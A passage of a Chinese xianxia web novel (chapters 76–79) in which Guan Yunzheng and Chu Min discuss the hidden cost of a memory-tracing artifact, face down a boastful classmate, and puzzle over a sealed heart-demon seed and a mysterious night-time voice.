总之小悯想不通该如何理解这封回信,她也想不通该怎么告知小悯这些方才没说的细节。 但不说肯定是不行的…… 关云铮猛地直起身,一脸慷慨赴死般的神情:“还有两件事,我方才没告诉你。” 楚悯一愣,也跟着坐直了身子:“什么?” 关云铮把乾坤袋里的将隐先拿了出来:“方才没说是因为,我不知道该怎么同你说。” 楚悯的神色转为了然:“我大概知道你要说什么了。” 关云铮放下将隐的动作顿了顿,轻轻叹了口气:“就是猜到瞒不过你太久,所以更不知该从何说起了。”瞒得越久,说的时候越不知该怎么开口。 楚悯索性直接说道:“父亲的回信看似洋洋洒洒写了一整页,实际上回避了我最在意的问题,”她略作停顿,像是这件事对她来说也需要缓冲的时间,“我问他将隐是否为天问的寻常法器,他没有回答。” 关云铮不得不再次感慨起楚悯对于这些事的敏感度,正想如实相告,楚悯就自行接上了话茬:“他避而不谈,说明将隐就是天问寻常法器,只是权能更广泛,可以通过耗费精力的方式实现对记忆的回溯。只要是天问的法器,就没有不付出代价的。”她说到这叹了口气,看向关云铮,“使用将隐的代价是否被转嫁在他身上?” 关云铮哑口无言。 楚悯又叹了一口气:“云崽,你也不必因为觉得此事错在你,担心我父亲承担代价,以后就不用将隐了。” 关云铮对“代价”一事所知甚少,但因为自己是导致事情发生的其中一个因素,所以总忍不住把代价想得很严重,因此听了这话神色也没轻松多少:“那我难道就,一切如常吗?” 等到代价积累到某个程度,对小悯的父亲造成不可挽回的影响? 这不就是害人吗? 楚悯拿起桌上的将隐:“你不收下将隐,未来还会有别的东西,他始终认为是他的无能造成了叔父的身死魂消,不做些什么就永远不会放过他自己。” 关云铮被她话语里那种平淡又漠然的情绪震慑,一时之间说不出话来。 只听楚悯接着说道:“我也是同样,若是我早日发现端倪,哪怕彼时的我对一切都无能为力,至少……也可以有些准备。”她把将隐推回到关云铮手边,“你这次去天问应当已经见过那些长老了,是不是都很年轻?” 关云铮点点头,完全猜不到楚悯接下来要说什么。 “支持天问一派走到今天的,不全是对天道法则的求知若渴,那是激励初入门弟子用的,更冠冕堂皇,更上得了台面。真正让我们能坚守在这条路上的,是永远也不能被填平的遗憾。 父亲不想再看到亲人死去,我不想再像个无知幼童一般等着噩耗降临,所以我们自愿承担寿命减损的代价,只要这些代价能够消除所有可能会导致遗憾的风险,只要我们的愿望能得到哪怕半分的实现。” 楚悯终于露出了一丝笑意:“我会一直‘问’下去,无所顾忌。我父亲也是同样。所以,云崽,”她的目光是那样的真诚,“希望你能成全他。”—— 作者有话说:或许有可能求一点营养液吗[可怜][可怜] 第77章 晚间吃饭前任嵩华不知因为什么从来去峰上下来了, 既然来了苍生道,还正好是饭点之前,就不可能不被留下吃饭, 于是她短短几天内第二次在苍生道饭堂的桌边坐下, 哪怕已经辟谷多年。 关云铮趁此机会鼓起勇气去问她昨日那剑诀的窍门,还没聊上几句, 饭堂门口的光影晃了晃, 又走进一个人。 苍生道众人全都在,甚至步雁山和任嵩华也在,李演在灶边忙活,关云铮茫然,一时猜不出来者是谁,直到那人逆着光走进来, 在光线均匀的屋内露出了清晰的脸。 ——是苏逢雨。 还真回来了?关云铮略感震惊地看向一边无所事事等着开饭的章存舒。 当时看起来那么生气……她还以为苏逢雨短时间内不会回来了。 章存舒感受到她的视线,朝她摊开两手, 潜台词大概是“此事与我无关”。 谁信。 关云铮腹诽着收回视线。 苏逢雨一进门就朝这边走过来,还没等在座各位搞明白她要做什么, 就听她对楚悯道了声歉。 楚悯被这阵仗吓得“噌”一下站起来了, 正想说点什么,就听苏逢雨接着说:“答应了要教你,结果自己闹脾气走了, 实在不应该。” 她语气太诚恳, 脸上的表情也不像平时那么冷淡,搞得楚悯一时也不知道该说点什么了,被架在那儿僵着,脸上的表情难得有几分无助。 关云铮很想为她解围,但张口欲言好几次都觉得自己解围也很不合时宜, 只好扭头看向几乎总在不靠谱的章存舒。 好在章存舒关键时刻还是十分靠得住的,还没等关云铮的目光扫到他身上便已开口:“要在这吃饭吗?” 苏逢雨瞬间收起自己对着楚悯时的好脸色:“你自己吃去吧,走了。” 噗。关云铮艰难忍笑,把还站着的楚悯拉着坐下:“苏修士真是随性而为。” 好想像她这样无所顾忌地活一次。尤其是肆意怼师父这一点,好羡慕。 被她在心里蛐蛐的章存舒若有所觉似的看过来:“又在心里编排我什么呢?” 关云铮扯起嘴角装无辜:“没,怎么会呢。” 章存舒当然也没有真的在意,接过李演端上桌的菜摆好:“过会儿估计蒲先生也要来了。” 对哦,蒲先生当时去追苏修士了,但苏修士匆匆而来又匆匆而去…… “那……这是追到了还是没追到?”关云铮顾不上八不八卦了,忍不住好奇道。 章存舒把菜往关云铮和楚悯面前推了些:“依我看是没追上,蒲先生这不是还没来吗?” 他话音刚落,门口又是光影一晃,还没等众人调转视线去看来人是谁,蒲飞鸢便已经大步跨进来,见了苍生道诸位只顾得上仓促点头打过招呼,就直奔坐在桌边的章存舒问道:“她回来了?” 章存舒正吃菜,懒洋洋地点了点头。 关云铮借着夹菜的动作悄悄看了蒲飞鸢一眼,发现从来都是一脸豁达从容的蒲先生此刻非常的……不淡定。 看来是真没追上。也不能怪师父八卦,这俩人这一前一后的,真有点暧昧了。 关云铮夹完菜,装作无事发生似的重新低下头,实则耳朵正聚精会神地听着,生怕遗漏一点细节。 吃瓜本能——觉醒! 蒲飞鸢叹了口气:“没追上。” 章存舒淡定挑眉:“看见了。” 蒲飞鸢又叹了口气,似乎想说点什么,但顾虑着面前这许多人,最后还是打了声招呼就转身走了。 背影看着居然还有些落寞。 关云铮过度解读完蒲飞鸢的背影后,依旧觉得这口瓜吃得人一头雾水,忍不住小声问道:“师父怎么好像知道点别的似的?” 比如她没看出来的两人之间进度条什么的。 章存舒在吃瓜这件事上相当不藏私,或许也是因为他所知的部分没那么隐私,是以直截了当地说:“苏修士去了朝安,苍韫桢给我写信,我告诉了蒲先生。” 哇哦。 哇哦! 这么精彩?? 关云铮和楚悯对视一眼,都在对方的眼中看到了彼此对于事情发展的出乎意料和难以置信。 苏逢雨离开时那么不高兴,肯定是要离开归墟的,但她们都没想到她居然会跑到朝安那么远的地方。 朝安与归墟相去千里,苏逢雨肯定是通过缩地成寸去的朝安。她和苍韫桢认识这一点关云铮倒是知道,毕竟苍韫桢自己说过,但是她没想到苍韫桢传信给章存舒,章存舒告知蒲飞鸢后,蒲飞鸢还是追不上。 ……看来苏修士是真的生气了。 这样都追不上,估计压根就没打算让蒲飞鸢追上。但她又回了归墟,到头来还是跟蒲飞鸢待在一处,低头不见抬头见的,岂不是仍旧有说开和好的可能? 难道苏修士也是傲娇这一款的? 关云铮心不在焉地思考着,直到李演忙完,终于在桌边坐下:“方才还看见蒲飞鸢,人呢?怎么我转个身的工夫又走了?” 章存舒夹了一筷子菜:“她忙着呢,没空吃饭。” 关云铮仍处在头脑风暴模式中,正打算跟楚悯小声讨论几句,一抬头看见闻越正一脸茫然:“我错过什么了?怎么你们说的我都听不明白?” 连映笑眯眯地夹起一块馅饼塞他嘴里了。 **** 今日练剑量已经足够,关云铮看到摇羽就感到一阵莫名的手酸,拉着楚悯逃出苍生道院子去瀑布边练习术法。 楚悯术法的底子比关云铮扎实许多,在练习途中还能纠正关云铮技法上的错误。 “灵气还是不够凝聚,其他没什么问题。”半个时辰后楚悯对关云铮的术法水平下了结论。 担心关云铮对自己的能力感到焦虑,她又补充了一句:“不过初引气入体这段时日,灵气不凝聚是很正常的,日后多打坐调息,筑基了就好。” 关云铮正要回答,忽然听见一阵人声经过,下意识把已经到了嘴边的话收了回去。 这声音听着好像怪耳熟的。 瀑布声响太大,水流嘈杂的声音盖过了那点人声。 她无意偷听,但也不想在这个心情还不错的时候撞上不大熟悉的人,于是转回身看向楚悯。 楚悯会意,两人正打算走与那人声渐响的方向相反的路离开,就听那声音忽然大起来:“谁在那?!” 好,知道为什么耳熟了,原来是欠打哥……好吧不能对同窗这么不友好,总之她的意思是赵乾达。 这位她更是懒得搭理,直接装听不见,打算跟楚悯快步离开。 可惜欠打兄从不知道什么叫做与人为善、得饶人处且饶人,喊过一声没听见应答后反而加快了脚步,在两人身后再度把她们喊住了。 关云铮和楚悯齐齐叹了口气。 楚悯是因为被挑衅的次数多了,实在是有些疲于应对这种场合;关云铮单纯是吃得太饱撑得慌,懒得喷。 赵乾达满脸狐疑:“你们在瀑布这做什么?” 听上去很怕她们二人偷偷在瀑布边练习术法,瞒着他修为大涨似的。 关云铮转过身来,平静道:“你不也在?” 对话刚一开始就被噎了一下,赵乾达顿时想起教习之初被关云铮当着众人的面指着鼻子骂的场景,脸上的情绪几经变换,最终停留在了一个“不服有余,耻辱不足”的表情上。 关云铮看懂了他的神色,并单方面把此人评价为人菜瘾大,被骂有瘾。 “你们在练习术法?”赵乾达又问道。 关云铮懒得多做解释,只点了点头。 赵乾达像是不满她的回复如此简单敷衍,又问:“此次下山寻武器,你们是哪日回来的?” 这么爱问,待会儿得到了答案又要不高兴,也是挺让人捉摸不透的。 关云铮和楚悯对视一眼,确认过彼此的眼神后,她答道:“第一日。” “怎可能!那你们的武器呢?”赵乾达显然是不信,猛地朝两人靠近了一步。 摇羽被关云铮放在院子桌上了,月下逢倒是一直被楚悯随着带着放在乾坤袋里,但此事与她们是否带着武器没什么关系,关云铮没有摇羽还有撷光和将隐,只是赵乾达此人对她们的看法对她们而言实在太无关紧要,没必要为了向他证明而徒添麻烦。 关云铮和楚悯配合着退了一步:“自是没有赵兄的武器来得威风凛凛,也就不便拿出来了。” 赵乾达眉头皱得很紧,关云铮的武器他倒是不那么在意,但楚悯若是找到了比他手上这把剑更好的武器……那他岂非又要被压过一头。 他单方面与两人僵持着,实际上关云铮却在想赵乾达虽为天问弟子,却实在没什么身份上的归属和认同感,她也算和天问有过接触了,怎么没有哪怕一个人问起过赵乾达在归墟过得如何。 难道是旁支? 思及此,她下意识看了楚悯一眼。 赵乾达还以为二人要有什么动作,立时顺着关云铮的视线看向楚悯。 楚悯正站得无聊在发呆,忽然被两种视线盯上,回过神来就看见关云铮正好收回目光,而另一丛视线还扎在自己身上。 她懒得把月下逢拿出来,故而也敷衍道:“不是寻常武器,比不过你。” 赵乾达的佩剑就挂在腰间,光是剑鞘看着就十分讲究,花里胡哨又肃杀气十足,看着很是唬人。 关云铮心不在焉,打量过一眼后便收回视线,心想再唬人也没有她剑里那位一百多岁的剑灵来得唬人。 楚悯见赵乾达半晌没个动静,逐渐也懒得再同他搭话,索性直接道:“若是没有旁的事,我们就先走了。” 谁料赵乾达吃错药似的,忽然拿着腰间的剑指向二人,话则冲着关云铮:“那你呢?你的武器呢?敢不敢拿出来与我比一比?” 关云铮和楚悯又齐齐叹了口气。 有些人的自尊心是种很古怪的东西,他们不想着多努力进步,让别人不敢践踏自己的自尊心,也不想着提高自己的忍受极限,忍耐别人的践踏,总是处在一个能力不尴不尬的境界时,大谈特谈自己的自尊心。 关云铮一度也有过这样的时期,但现今她已经释怀,人总得面对自己的平庸,世上那么多人总不可能全都出类拔萃。 但赵乾达此人实在是人如其名,看着十分欠打。故而关云铮此番也不打算随便放过他,转念一想,索性抬起手念了一句剑诀:“剑来!” “噌”一声,赵乾达手中的剑连剑带鞘到关云铮手里来了。 对面的赵乾达完全呆住了。 关云铮挑眉,发觉这招还挺管用,没让她丢脸,满意地把剑又抛回赵乾达怀里,跟楚悯一同离开了—— 作者有话说:当初起名时想到的缺德谐音终于登场了[墨镜] 求点营养液[让我康康] 第78章 关云铮偶尔会反思自己某些时候的言行举止, 比如此刻,用“剑来”把赵乾达新找到的宝贝佩剑召来自己手里,是不是多少有些仗势欺人了。 但学医之后她的精神状态日渐美丽, 经常会陷入“反思→内耗→快速脱离反思→甚至外耗他人”的模式, 所以这点反思的心理只冒出了一个短暂的苗头,就被她心不在焉地掐灭了。 有什么好反思的, 又不是她挑的事。 主动挑起事端的人应该清楚自己需要对霸凌行为付出什么样的代价。 再说了她只是召来, 很快就还给赵乾达了,既没对他的佩剑做出什么刻薄的点评,也没对这件事下什么伤人的结论,自我评价很有道德了。 关云铮飞快结束了既不每日也没有三省吾身的反思环节,对楚悯说:“其实昨夜我没能完全睡安稳。” 插科打诨后忽然袒露心声是关云铮一贯以来的安全牌行为,前面欢快的氛围能稍微兜住后面话题或许存在的严重性, 让整个对话显得不那么的……令人不虞。不过她也得承认这并非真正意义上的安全牌,因为后续话题实在沉重的话, 前面再欢脱也是兜不住的,气氛只会直转而下。 可惜她暂时找不到更好的方式, 因为她早上分明还对小悯说昨夜睡得很好, 此刻说什么恐怕都掩盖不了早上没说实话的事实。 撒谎这事可大可小,关云铮无意粉饰太平说自己当时是善意的谎言,因为她自己也知道在这件事上撒谎其实不是那么的有必要, 只是她当时觉得撒谎是更利己利他的选择。 总之出于这样那样的原因, 她此刻坦言道:“可能压着胸口了,没压着大概会睡得好一些。” 楚悯眨了眨眼睛:“醒来之后呢?” 关云铮一愣,没想到小悯不仅不计较她早上没说实话,跟上话题的速度还这么快。 楚悯看她神情,笑了一下又说:“你难道不是要同我说昨夜醒来后发生的事吗?是我会错意了?” 好吧, 瞒不住一点。 关云铮放弃辩解和挣扎:“昨夜突发奇想,跟摇羽又去了一次剑冢。” 楚悯若有所思:“然后你们聊了什么?” “现在想来,似乎什么也没聊,也就是问了问当初操纵着瀑布水流呸人的是不是它。”关云铮回忆着说。 楚悯失笑:“真是它?” 关云铮点点头:“还说了些它曾经主人的事,但它说的也不多,只大概从中得知,摇羽现今大约有一百多岁了。” 诶?一百多岁? 她忽然想起些什么,又看向楚悯:“你还记得褚先生曾在教习之初说过,七十多年前有位修士突破大乘飞升之事吗?” 楚悯一时没反应过来她为何忽然说起此事,但还是接话道:“记得。” 关云铮不知想到什么,皱起眉头:“昨日摇羽问我,这些年仙门可曾发生过什么大事,我只记得这一件,就同它说了,你说有没有可能,摇羽或许认识这位修士?只是年岁久了,它也不记得了?” 两人边走边说,脚步不自觉慢了下来,楚悯走在她身侧:“或许,若是摇羽当真如它所说,已经一百多岁的话。” 她看向关云铮:“你难道……想用将隐回溯摇羽的记忆?” 关云铮回过神来,花了几秒反应了一下楚悯方才说的话,摆摆手说:“我倒还没想到这,不过摇羽作为剑灵,若是当真要回溯它的记忆,想必要耗费不少精力吧?”她心有余悸似的嘟哝了一句,“可别回溯完就昏睡了,那可太耽误事了。” 看她对使用将隐回溯一事不再闭口不谈,楚悯也暂时收起了从收到父亲回信时起便一直悬在心里的忧虑,但忽而又想起什么,刚舒展开的眉头很快又蹙起来:“你今日天亮前去了剑冢,昨日我们又去了来去峰不熄鼎近旁,心魔引……竟一刻不曾动乱吗?” **** 心魔引这东西有点像智齿,不知道为什么就有,不知道到底有什么用,不知道哪天会发病。 像个不定时也不确定会不会炸的炸弹存在于她的识海,她体内或是灵魂中空无一物的某个角落,先于所有其他有意义的东西,成为了那里的原住民。 这事其实有点令人恼火,换做以前的关云铮估计早私底下炸了好几回了,但现在不知道是修仙修得人清心寡欲了,还是被师门众人保护得太好了,觉得心魔引不是什么大问题,她的心情居然还挺平静的。 当然她也不能否认,在小悯问出那个问题,而她意识到一天内两次去往灵气充溢之地,心魔引却都没有作乱时,她是有那么一点点惊慌的。 打个不恰当的比喻,大概就是“孩子静悄悄,指定在作妖”吧。 平时见缝插针作乱的东西,放着大好的机会居然没折磨她,总觉得这玩意儿在酝酿个大的。 总不能它其实比关云铮更关心她自己的身体? 这不能够。 所以在意识到此事之后,楚悯和她就又回到了苍生道的院子。 章存舒不在院子,只有江却结束了每日的打坐调息和练剑,在自己的院子里坐着擦剑。 连映正坐在他对面修剪一盆花。 关云铮斟酌着,不知道此事该不该告诉两位师兄师姐,在连廊上和楚悯一起犹豫了好一会儿,才迈开步子准备走下去。 还没等她走下台阶,脚边“嗖”一下窜来什么东西,抓着她的裤脚就爬了上来。 要不是她看出这模糊的一团东西大概是栖霜,可能已经在疯狂甩腿了。 小东西扒着她的衣服布料爬了一会儿,爬三步滑一步,半天都爬不到更高处,于是几次努力后扒着关云铮的裤腿不动了。 她只好伸手把这小东西接到手心,然后托着柔软温热的一团走下台阶。 江却背对着她,但显然感觉到了她的靠近,手头擦拭剑身的动作一顿,随即侧身转头朝她看过来。 关云铮托着栖霜和两位师兄师姐打了个招呼,楚悯则走到连映身边的位置坐下。 “师父呢?”关云铮坐上最后一个位置,开口问道。 “大概去做和事佬了?”连映看了一眼关云铮和她手里的栖霜。 苍生道众人除了闻越都很擅长“闻弦歌而知雅意”,听关云铮问了一句师父的去向,江却自然而然反问道:“找师父何事?” 关云铮和楚悯对视了一眼。 本该在一心修剪花枝的连映若有所觉似的,抬起头来与对面的江却也对视了一眼。 关云铮决定坦白,她实在想不出心魔引除了在憋坏之外还有什么别的可能,不如说出来供大家集思广益,反正……也不会有更坏的结果了。 **** 连映听完,把手边的花盆放下,又伸手托了一把扒拉着桌边晃悠的栖霜:“师父白日里是怎么说的?” 关云铮把章存舒说的话大致复述了一遍。 江却已经把剑收回剑鞘了,沉默着听完后终于说了第一句话:“你可曾查看过心魔引在识海中的状态?” 关云铮被问得一愣,随即意识到自己犯了十分基础的错误:心魔引就在那里,她没有查看过哪怕一次它的状态,反而一直在心里做着毫无根据的揣测,导致自己越发焦虑。 看她神色,江却自然明白这个问题的回答是“不曾”,这对他来说算是很不该犯的错误,但他的神色完全不严肃,反而很平和,像是对正在担惊受怕的师妹的一种宽慰:“师父给心魔引下的封印本也只会在灵气充溢之地松动,既然来去峰和剑冢已经去过,在下次去之前确认清楚就好。” 关云铮点点头,又轻轻叹了口气。 栖霜察觉到并不轻快的氛围似的,原本在石桌边缘挂着,此刻一骨碌爬上来,灵活得可以就地出道表演,四爪在桌上啪叽啪叽走了几步,又挂关云铮袖子上了。 关云铮终于能分出一点闲心点评这小玩意儿今日的举止,忍不住摸了一把它毛光水滑的背:“它今日怎么老爱挂我身上?” 搞得人怪受宠若惊的。 连映倒是很习惯的模样:“你今日用过凌师伯的丹药?” 关云铮恍然:“它是喜欢我身上的药味?” 连映点点头:“栖霜喜食丹药,但不能多吃,给人吃的丹药对它的身体有害,所以也常常饿肚子,只能来苍生道找吃食。” 原来不是真馋苍生道的饭,只是把香香饭当丹药的代餐? 小东西还挺会代的,关云铮伸手挠了挠栖霜的下巴。 连映解释完,又看向自坐下起就没说过话的小悯:“云崽的烦恼找到解决的办法了,你呢?有什么烦恼?” 楚悯一直维持着平静的神色短暂地变了变,随即干脆地卸掉伪装,露出一丝疲惫的神色:“天问常有的烦恼罢了,没什么解决的办法。” 其实有,天问天问,不问就不会有这么多烦恼了。 但是大家心知肚明,天问众人要是能停止对万事万物的追问,这偌大门派也不可能落成了。 连映伸手摸了摸楚悯的头发:“那也可以同我说说,说出来会不会好受些?” 栖霜大概是晚饭期间偷偷吃饱了,此刻懒洋洋地团成圈窝在关云铮手边,任她摸下巴和肚皮都没反应,短短一截尾巴时不时还摆动一下。 关云铮感觉自己被小动物治愈了,看向楚悯:“小悯你来摸摸。” 于是楚悯伸手摸了摸栖霜的脊背,感受到光滑的皮毛之下温热起伏的脉搏后,脸上的神色顿时柔和下来,在几次抚摸后收回了手,看向一直在注视着她们两个的连映。 “其实此事大约也令云崽有些烦恼。”她坦然地说道。 江却和连映同时看向关云铮。 关云铮撸貂的动作一顿,随即叹了口气:“是,我方才……没说。” 连映的眼神生动地诠释了何为“温柔的责怪”,关云铮和楚悯被她看得一阵心虚,两人你一句我一句地把将隐和楚悯父亲的事交代清楚了。 栖霜像是会被人散发出的某种情绪吸引似的,在两人坦白的期间从关云铮的手边又顾涌到了楚悯手边,把她的手腕当垫子,整个貂往上面一挂。 楚悯原本要动的手顿时像被封印,本已组织好的语言也打了个磕巴才说出来。 哎呀,毛茸茸拯救世界。 江却听完后神色依旧很冷静:“我对天问一派的卜算之术所知不多,是否修为越高,针对同一件事需承受的代价就越小?” 楚悯坦言:“其实是同等代价,但正如洪水对一座城和一个村庄的影响不同,同一件事的代价造成的影响也会因为修为和境界的高低而变化。” 修为和境界越高,同等代价转化而来的负面影响就越小。 江却的意思楚悯和关云铮都明白,受限于精力和自身能力,关云铮现今使用将隐的次数有限,能造成的代价也有限,让楚泽枫这样的元婴境界承担这点代价,实际上是不必太过担心的事。 但同时江却也清楚,关云铮和楚悯是无法对此事心安理得的性子,故而他并没有在这个话题上继续说下去。 他不说,心思更为细腻的连映自然更不会说。连映只是静静听她们说完,然后伸手摸了摸两人的脑袋。 **** 关云铮回到自己的院子后便进了屋子,洗漱过后问被她放在床边桌上的摇羽:“要怎样查看自己的识海?” 摇羽还真被她问住了,想了好一会儿才犹疑不定地说道:“褚鹤贤还没教过?” 关云铮“嗯”了声:“上次见到心魔引还是它刚被种下的时候,那之后我就只同它说过话,被它折腾过,没再见过它的模样了。师父说他把心魔引封印在识海,我想会不会它状态有异,打算进识海查看。” 摇羽沉吟片刻:“我好像真知道一个口诀。” 关云铮盘腿在榻上坐好:“你说。” “我也是听我曾经的主人说过一两次,似乎是‘收视返听,凝神内照’,在念口诀之前需调息静气。”摇羽说道。 关云铮没忍住,原本闭紧的双眼复又睁开:“这会不会有些太难为我了?” 摇羽恼怒:“我只知道这个!你爱试不试!” 关云铮赶紧闭上眼睛,口中求饶:“好好好,我试,我试,前辈你别生气。” 摇羽懒得搭理她的卖乖,冷哼一声不说话了。 褚先生虽还未教查看识海的内容,但教过调息的办法,她回忆着那种玄而又玄的知识点,尝试着做了几个深呼吸,努力摒除杂念后,念出了摇羽方才说的那句口诀。 “收视返听,凝神内照。” 或许是她这段时间修为真的大有进步,或许是她逐渐能领悟这些佶屈聱牙的修仙知识背后的真正含义,她念完这句口诀后忽然觉得神思无比清明,她分明紧闭双眼,眼前分明是昏暗的房间,却在这一瞬亮堂得如同白昼。 几乎空无一物的识海骤然出现在她“眼前”。 一如那日心魔引刚被种下时的模样,她的识海一片空白,看不到任何代表了边界的线条,听不见任何声音。 心魔引只是颗种子似的魔物,没有呼吸和心跳,蛰伏时寂静无比,关云铮在识海中走了堪称漫长的一会儿,才终于见到了那一团红光。 不知道是近大远小导致的,还是它本就如此——关云铮皱起眉头,发觉心魔引比她印象中的小了许多,从一团红雾变成了实质性更强的一团红光。 难道真在蛰伏? 关云铮还想再走近些,眉心却忽然刺痛起来,她感到胸口一阵强烈的闷痛,不得不猛然睁开双眼,捂着胸口咳嗽起来。 摇羽看不见,听见她安静许久后忽然发出这动静,被吓了一跳,在剑身里咋呼起来:“怎么了怎么了?你没事吧?” 关云铮从没咳得这么狼狈过,喉咙在几声咳嗽后顿时被疼痛攫住,她徒然地捂了捂咽喉,哑着声音说:“你这口诀真的没问题吗?” 摇羽直接飞到她眼前:“口诀应当没问题,我特意回想了一番才告诉你,而且我也不是对你们修士的事一无所知,这点判断我还是有的。” 关云铮狼狈地笑了笑:“是吗,那你很厉害。” 摇羽的声音依旧很忧虑的模样:“你方才是不是强行突破了?” 关云铮皱眉:“强行突破什么?” 摇羽语气凝重:“界限。” 界限?什么界限? 关云铮语气古怪:“你的意思难道是,心魔引已经比我强大了,我要靠近它,已经是突破界限了?” 倒反天罡! 关云铮差点一骨碌从床上坐起来去找师父就此事论个清楚,好险还有些理智令她悬崖勒马,她坐在榻边正要质疑,忽听得那个“几乎无所不知”的声音在脑海中响起:“哟,还没睡呢?”—— 作者有话说:那个,快月底了,大家的营养液……(明示)[可怜][可怜] 第79章 骤然听见这声音, 关云铮撑在床榻边的手一滑,险些把自己整个人拽下床。 那声音显然是“看见”了这动静,讨打地笑了一声:“哎哟, 不必行此大礼, 我既非师友又非亲长,受不得你这一拜。” 关云铮感觉自己额角的青筋都因为这话抽了抽。 到底哪来的这么欠揍的人, 不对, 还不一定是人。 祂的声音听着相当悠闲:“大晚上不睡,在做什么?” 而大晚上被骚||扰的关云铮决定用沉默表达自己对这场谈话的反抗。 总是任由祂随意而来随意而去,想开启话题就开启话题,还要被祂窥探内心,是个人都得有脾气,不想开口了。 祂显然探知到她的内心, 像是安抚一般,语气变得十分平易近人:“叨扰你也非我本意, 但我观你因心魔引之事忧虑非常,故而不得不来探问一番, 可有我能帮得上忙的?” 一大堆冠冕堂皇的说辞听得关云铮头痛, 她忍了又忍最终还是屈服了,开口道:“少说这些没用的,你究竟是何人?” 被她没好气地怼了, 祂的声音听起来又正经了一些:“若你是顾虑着心魔引这几日无甚动静, 觉得它是蛰伏在你的识海,日后要给你作个大的死——那你无需担忧。” 关云铮无端觉得屋里有些凉,于是拽过身侧的被褥抱在怀里:“你怎么敢确定?” 连给她种下心魔引的鬼灯楼邪修们都对此物一知半解,见过的人甚至把这段记忆抛诸脑后,要用溯洄才能看见, 章存舒也只能暂时用封印将其镇压,这人,不,这东西究竟是什么,为何说出这话的语气如此笃定? 她皱起眉头:“你究竟在哪里同我说话?你此刻存在于我的识海,还是你远在千里之外,此刻只是传音?” 祂笑了笑,语气听起来像是对此事颇有兴致似的:“两者皆不是。” 关云铮抱着被子,正要说话,忽听那声音又道:“怎么,此刻回忆,不怕触动将隐令其运转,让你好友的父亲付出代价了?” 她屡次三番被戳穿心思,修仙一月余修出再好的脾气也忍不住了,像个炮仗似的炸了:“你到底要怎样?见多识广没地方显摆,要到我面前来逞威风?” 祂显然早料到关云铮会有这样的反应,忽而收敛起了语气里揶揄的意味:“夜深了,该说的话也说完了,来日再会。” 房间里重归寂静。坐在榻上的关云铮磨了磨牙,修仙以来第一次这么想说脏话……这到底什么鬼东西?还有没有人管了?! 虽然暴躁,但她也没停下自己的思考,团在怀里的被褥给了她一点久违的安全感,她抱着这偌大一团松软的东西,思绪清晰地回忆着:那声音上次出现说了些什么? 这不回忆还不要紧,一回忆关云铮感觉自己气得更厉害了,忍不住把怀里的被子又丢开些,一脸郁闷地想:上次这东西压根就什么也没说啊! 唯一的信息点,无非是这声音与原身临死前记忆中出现的声音的一模一样罢了。 凭借这一点,能推断出祂清楚地知道原身死亡之事,也知道她是如何来的此世。 只是祂始终比章存舒还要谜语人,话语里信息量很少,除了这两点之外再推断不出什么旁的了。 那时祂走后又发生了什么来着? 关云铮无意识地捏着被褥中的填充物,似乎…… 上次祂来临之时的事毕竟就发生在这两日,其中的细节关云铮记得很清楚,用不上回溯,将隐也就并未自发运作,不像祂说的那样需要让小悯的父亲承担代价。 关云铮短暂地走了几秒的神,倏地想起昨日祂走时,自己曾感觉到识海深处传来一阵震荡感,难道……? 她脑海中出现了一个极为大胆的可能,虽然毫无根据,但在当下似乎有那么一丝合理性…… 关云铮兀自想了许久,才发现半晌没听见摇羽的动静了,不由得往灯下的桌面上看了一眼。?摇羽什么时候收回剑鞘里了? **** 次日一早,关云铮刚睡醒,本想拥着被褥赖会儿床,翻了个身后骤然想起昨夜睡前思考的事,登时睁开眼睛,瞪着门外的亮光睡不着了。 桌上的摇羽打了个漫长的哈欠:“醒了?” 她呼吸声忽然变重,一听便知是已经醒了。 关云铮把脸砸进被窝,生无可恋地“嗯”了一声。 摇羽继续说道:“你昨日的猜测是什么来着?有个不明来历的人出手镇压了心魔引?” 关云铮半死不活地又“嗯”了声。 摇羽的语气带着十足的困惑:“我昨夜困倦得厉害,从剑鞘出来时听得没头没尾,只听见你一句结论,现在一想,总觉得……” “不靠谱是吧。”关云铮顶着炸毛的头发从被窝里坐起来。 摇羽分析着:“真有这样不明来历,还境界高绝的好人?他的意图是什么?” 关云铮在铜盆边洗漱完,又对着铜镜把头发梳好,没精打采地说:“是啊,祂的意图是什么?” 鬼灯楼给她种下心魔引,是为了看她最终被折磨得没有办法,弃明投暗变成邪修的一员,顺便用修为滋养这颗邪恶的魔种。 那祂呢? 祂听起来似乎是目前最了解心魔引的存在,若是心魔引当真由祂出手镇压,祂又是什么目的? 这世上可不会掉馅饼,也没有那么多巧合,只有无良的高空抛物和缺德的处心积虑。 算了,她想不明白的事太多了,总归心魔引现在不会发作,至于是馅饼还是巧合,以后时机到了总会搞明白的。 关云铮拖延症发作,安慰完自己后抓上摇羽开门出去了。 **** 楚悯昨夜做了一宿的梦,难得起晚了,醒来时脑袋昏沉得厉害,到了饭堂依旧疲倦得像是一夜没睡。 等她好不容易清醒些了,发现方才就坐在她身侧的关云铮同样萎靡不振,叼着馒头好半天也不带嚼的,完全在神游太虚。 章存舒来时看到的便是这幅景象,甫一见到两人就被逗笑了:“昨晚做贼去了?” 关云铮和楚悯双双一激灵,一个叼着馒头一个拿着筷子,木然地抬起头来,眼神都是呆的。 走在章存舒身后的连映:“噗。” 闻越从连映身后探出个脑袋:“昨晚没少忧思多虑吧,瞧这一脸疲倦的模样。” 语气老气横秋得像褚鹤贤。 关云铮咬了口馒头,强打精神说:“好在今日也没有课业……不然术法念倒了我都反应不过来。” 楚悯深感赞同地点了点头:“符咒也容易画错……那就很罪过了。” 章存舒被逗笑,在桌边坐下后问道:“云崽昨晚是不是来找过我?” 关云铮机械地点了点头。 章存舒喝了口粥:“猜猜我那时去做什么了?” 关云铮和楚悯脑子都快不转了,压根答不上来,一同摇了摇头。 章存舒不知从哪摸出来两叠东西,分别递给关云铮和楚悯。 两人一同扭头看过去,就见两叠纸上密密麻麻的时间与安排,显然是她们日后的课业安排,也就是万恶的课程表。 楚悯乖巧地伸手接过,没说话,继续发呆去了。 而关云铮瞬间就清醒了,瞪着那课程表看了好一会儿,抬头时语气相当哀怨:“师父,你大早上兴高采烈的,就是为了给我们看这个?” 章存舒依旧笑眯眯的:“终归要面对的,云崽。” 可能是没太睡好还有起床气,也可能是被师门惯坏了敢发脾气了,关云铮面无表情地收回视线:“不爱听,收回去。” 刚盛了粥走回来的另外三人听见这话纷纷笑出声,闻越看热闹不嫌事大似的:“哇云崽真是……” 关云铮面无表情地看了他一眼。 闻越立马改口:“真是女中豪杰。” 关云铮被他这么生搬硬套的用词逗笑了,脸上的表情再维持不住,认命地叹了口气,接过了章存舒手中的课程表:“多谢师父。” 